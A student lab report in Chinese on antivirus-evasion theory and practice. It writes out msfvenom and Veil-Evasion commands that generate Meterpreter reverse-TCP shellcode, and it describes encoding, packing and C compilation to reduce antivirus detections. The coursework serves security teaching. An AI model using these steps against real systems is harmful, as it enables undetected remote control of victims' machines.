20155236范晨歌_EXP3免杀原理与实践
20155236范晨歌_免杀原理与实践
免杀
概述
- 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
 - 被谁杀?当然是被杀毒软件(引擎)杀。所以,要做好免杀技术(防御),就要弄清杀毒方式(攻击),也就是这些杀毒软件是如何工作的。
 
恶意代码检测方式
- 基于特征码的检测
- 特征库,也就是我们平时说的病毒库,它记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据自己检测出或网络上已发现报告的病毒,对其多段提取特征码,构成了对恶意软件查杀的重要因素;
 - 杀毒软件都有着自己的庞大病毒库(实际上就是由特征码构成的一个数据库),杀毒时只需与特征码进行比对就可判断出软件是否有毒;
 - 根据以上介绍,我总结了这种方式的查杀特点:
- 病毒库越大,杀毒有效率越高;
 - 因为收集的是已发现病毒的特征码,所以误报率低;
 - 对部分新型病毒没有抵抗性,无法抵御零日攻击,需要定期更新病毒库。
 
 
 - 启发式恶意软件检测
“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.”对照恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧!
- 用较为专业的角度来解释就是,分析对象文件与病毒特征库中的病毒原码进行比较,当二者匹配率大于某一值时(通常这一值较小,所以容易误报),杀毒软件就会将其列为可疑文件以进行下一步的除理。
 - 总结出以下特点:
- 查杀效率极高,不需要依赖庞大的病毒库;
 - 对新型病毒有较好的预防性,可以抵御零日攻击;
 - 因为分析是“启发式”的、不精确的、概率性的,所以其误报率也不可忽略;
 
 - F-Prot是一款杀毒软件,有三个启发引擎,可见其是比较强大的,但其误报我也深感无能为力啊(后文会介绍)……
 
 - 基于行为的恶意软件检测
- 是在一种程序运行的状态下对其行为进行监控,如果有敏感行为会报毒,是一种动态的监测与捕捉;
 - 总结出以下特点:
- 不过分依赖病毒库,效率高;
 - 可以检测出获取权限等敏感行为,从这种意义上说,在一定程度上是可以抵御新型病毒的;
 - 因为是对系统的一个动态监测,会占用部分系统资源。
 
 
 
免杀方式
- 只有弄懂了查杀原理,对免杀的方式才有更清晰的理解
 - 改变特征码
- 加壳,通过加壳,让杀毒软件无法进行反汇编、逆向工程,进而无法分析代码
 - 对shellcode进行编码、重组
 
 - 改变行为
- 通讯方式
- 尽量使用反弹式连接
 - 使用隧道技术
 - 加密通讯数据
 
 - 操作模式
- 基于内存操作
 - 减少对系统的修改
 
 
 - 通讯方式
 - 其它方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
 - 使用社会工程学类攻击,诱骗目标关闭AV软件、点击木马软件
 - 纯手工打造一个恶意软件
 
 
实践内容
1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图)。
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
首先要在kali上安装veil

由于有很多同学的前车之鉴,我先尝试了如下命令
发现有丶难受,然后换成了c语言use c/meterpreter/rev_tcp.py  ,生成可执行文件

想都不用想,这个肯定是没有说法的。我就接着做了:使用msf生成一个C语言格式的shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT=5236 -f

在拿去测试一下,


详细过程
Veil-Evasion免杀平台
- Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:
sudo apt-get install veil-evasion - 在终端下输入指令
veil-evasion即可打开软件,根据menu的提示依次键入以下指令: 
use python/meterpreter/rev_tcp	//设置payload
set LHOST XXX.XXX.XXX.XXX	//设置反弹连接IP
set port  	//设置反弹端口 ,默认为4444
generate	//生成
5236	//程序名
1
C语言调用Shellcode
在kali主机下,进入终端,执行指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT= -f cLHOST:攻击机IPLPORT:反弹连接端口c:生成一个c语言格式的Shellcode数
将上述代码从虚拟机里copy出来,用
Microsoft Visual Studio 2013进行编译运行生成可执行文件在kali下进入MSF打开监听进程,方式参考了学长的博文
在靶机上运行该可执行文件,kali成功获取权限
可以看出,生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码
压缩壳UPX压缩VS生成exe文件

但是这种壳是被针对的。。。
一些小问题:
- 是不是
F-Prot的杀毒引擎为启发式,太敏感了? - 是不是call指令的调用或者
VirtualProtect()操作这类行为敏感,导致报毒? 
实验思考
- 免杀最好的效果就是纯手工,纯人为构造,杀软可以分析免杀软件生成的模式进而发现其隐藏的规律,而人为构造的恶意代码往往因为不具有普遍性而难以捉摸;但免杀的尝试不是一蹴而就的,就像这次的实践,是在不断的修改代码过程中,从开始21家报毒,到后来1家报毒,逐渐达到了免杀的级别,这个过程需要不断的尝试;
 - 杀毒与免杀就是矛与盾,是一种博弈关系,是一种此消彼长的竞争关系,只要互联网还存在,杀毒与免杀就是互联网安全永恒的主题;杀毒软件的薄弱在本次实践中可见一斑,所以以后在网络中要“洁身自好”,不该点击的链接别点,来历不明的第三方软件别下,定时更新病毒库、查毒、杀毒;
 - 这一种博弈关系非常微妙,就像本文提到的,本来VirSCAN.org的目的可能是帮助检查是否为病毒文件,但可能被“我们”这样的人恶意利用,用来检测自己的病毒是否免杀;又比如,加壳软件的初衷可能是版权问题,防止他人恶意反汇编、逆向,但这又能被“我们”利用,让“壳”变成病毒的保护壳,正所谓,工具本无好坏,人心才有善恶!
 
参考资料
20155236范晨歌_EXP3免杀原理与实践的更多相关文章
- 20155236范晨歌_Web安全基础实践
		
20155236范晨歌_Web安全基础实践 目录 实践目标 WebGoat BurpSuite Injection Flaws Cross-Site Scripting (XSS) 总结 实践目标 ( ...
 - 20155236范晨歌_Web基础
		
20155236范晨歌_Web基础 目录 实践目标 Apache 前端编程 后端编程 PHP MYSQL & 后端 简单SQL注入与XSS 发帖和会话管理 实践目标 (1)Web前端HTML ...
 - 20155236范晨歌_MSF基础应用
		
20155236范晨歌_MSF基础应用 20155236范晨歌_MSF基础应用 目录 概述 MS08-067漏洞攻击 MS11-050漏洞攻击 MS10-087漏洞攻击 辅助模块 概述 MSF的六种模 ...
 - 20155236范晨歌 Exp7 网络欺诈技术防范
		
20155236范晨歌 Exp7 网络欺诈技术防范 虚拟机经常崩= =,所以基本上做一个实验换一个... 遇到了一个简单的小问题老师帮忙解决了:虚拟机没联网... 一.基础问题回答 通常在什么场景下容 ...
 - 20155236范晨歌_exp6信息搜集与漏洞扫描
		
20155236范晨歌_exp6信息搜集与漏洞扫描 目录 实践目标 信息搜集 漏洞扫描 总结 实践目标 (1)各种搜索技巧的应用 (2)DNS IP注册信息的查询 (3)基本的扫描技术:主机发现.端口 ...
 - 20165223《网络对抗技术》Exp3 免杀原理与实践
		
目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...
 - 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
		
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
 - 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
		
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
 - 2018-2019-2 20165234 《网络对抗技术》 Exp3 免杀原理与实践
		
实验三 免杀原理与实践 实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(1.5分) 2.通过 ...
 
随机推荐
- Python 中单双引号
			
TODO, 在python中, 其实单双引号还是有分别的, 具体是什么?
 - iostat 工具分析I/O性能
			
iostat命令用途:主要用于监控系统设备的IO负载情况,iostat首次运行时显示自系统启动开始的各项统计信息,之后运行iostat将显示自上次运行该命令以后的统计信息.用户可以通过指定统计的次数和 ...
 - 1. 跟踪标记 (Trace Flag) 1117, 1118 文件增长及空间分配方式
			
跟踪标记:1117 功能: 默认,同一个文件组下的多个文件,如果某个文件没有可用空间,且设置了自动增长,则该文件自动增长,其他文件大小保持不变: 开启后,同一文件组下的多个文件,如果某个文件没有可用空 ...
 - TableView的cell加载倒计时重用问题解决方案
			
TableView的cell加载倒计时重用问题解决方案 效果 说明 1. 写过类似需求的朋友一定知道,TableView上面加载倒计时功能会遇到复杂的重用问题难以解决 2. 本人提供一种解决思路,高效 ...
 - [控件] LineAnimationView
			
LineAnimationView 效果 说明 水平循环无间隔播放动画效果,用于loading的界面 源码 https://github.com/YouXianMing/UI-Component-Co ...
 - Linux学习---Linux用户审计简单版
			
[root@localhost root]# vim /etc/profile # SHENJI history USER=`whoami` USER_IP=`who -u am i 2>/de ...
 - for/while 循环全部执行完,, 中途不会停下!!中途不会停下!!中途不会停下!!!   中途不会停下!!!!!
			
对于这样一个在for 里面的, 他会从开始到最后走走一遍,然后再回到开始, 而不是在里面有两个操作,全部操作完第一个再往下走, 这个和我的学习方法似乎一样,真的要全局来一遍,再从新来一遍回顾问题 下面 ...
 - 01-urllib库添加headers的一般方法
			
2018-08-23 13:07:57 对于请求一些网站,我们需要加上请求头才可以完成网页的抓取,不然会得到一些错误,无法返回抓取的网页.下面,介绍两种添加请求头的方法. 方法一:借助build_op ...
 - Python简单的购物车小代码
			
# -*- coding: utf-8 -*- # @Time : 2018-05-31 14:56 # @Author : 超人 # @Email : huxiaojiu111@gmail.com ...
 - C++中重载决议与可访问性检查的顺序
			
http://blog.csdn.net/starlee/article/details/1406781 对于如下的类: class ClxECS{public: double Test(dou ...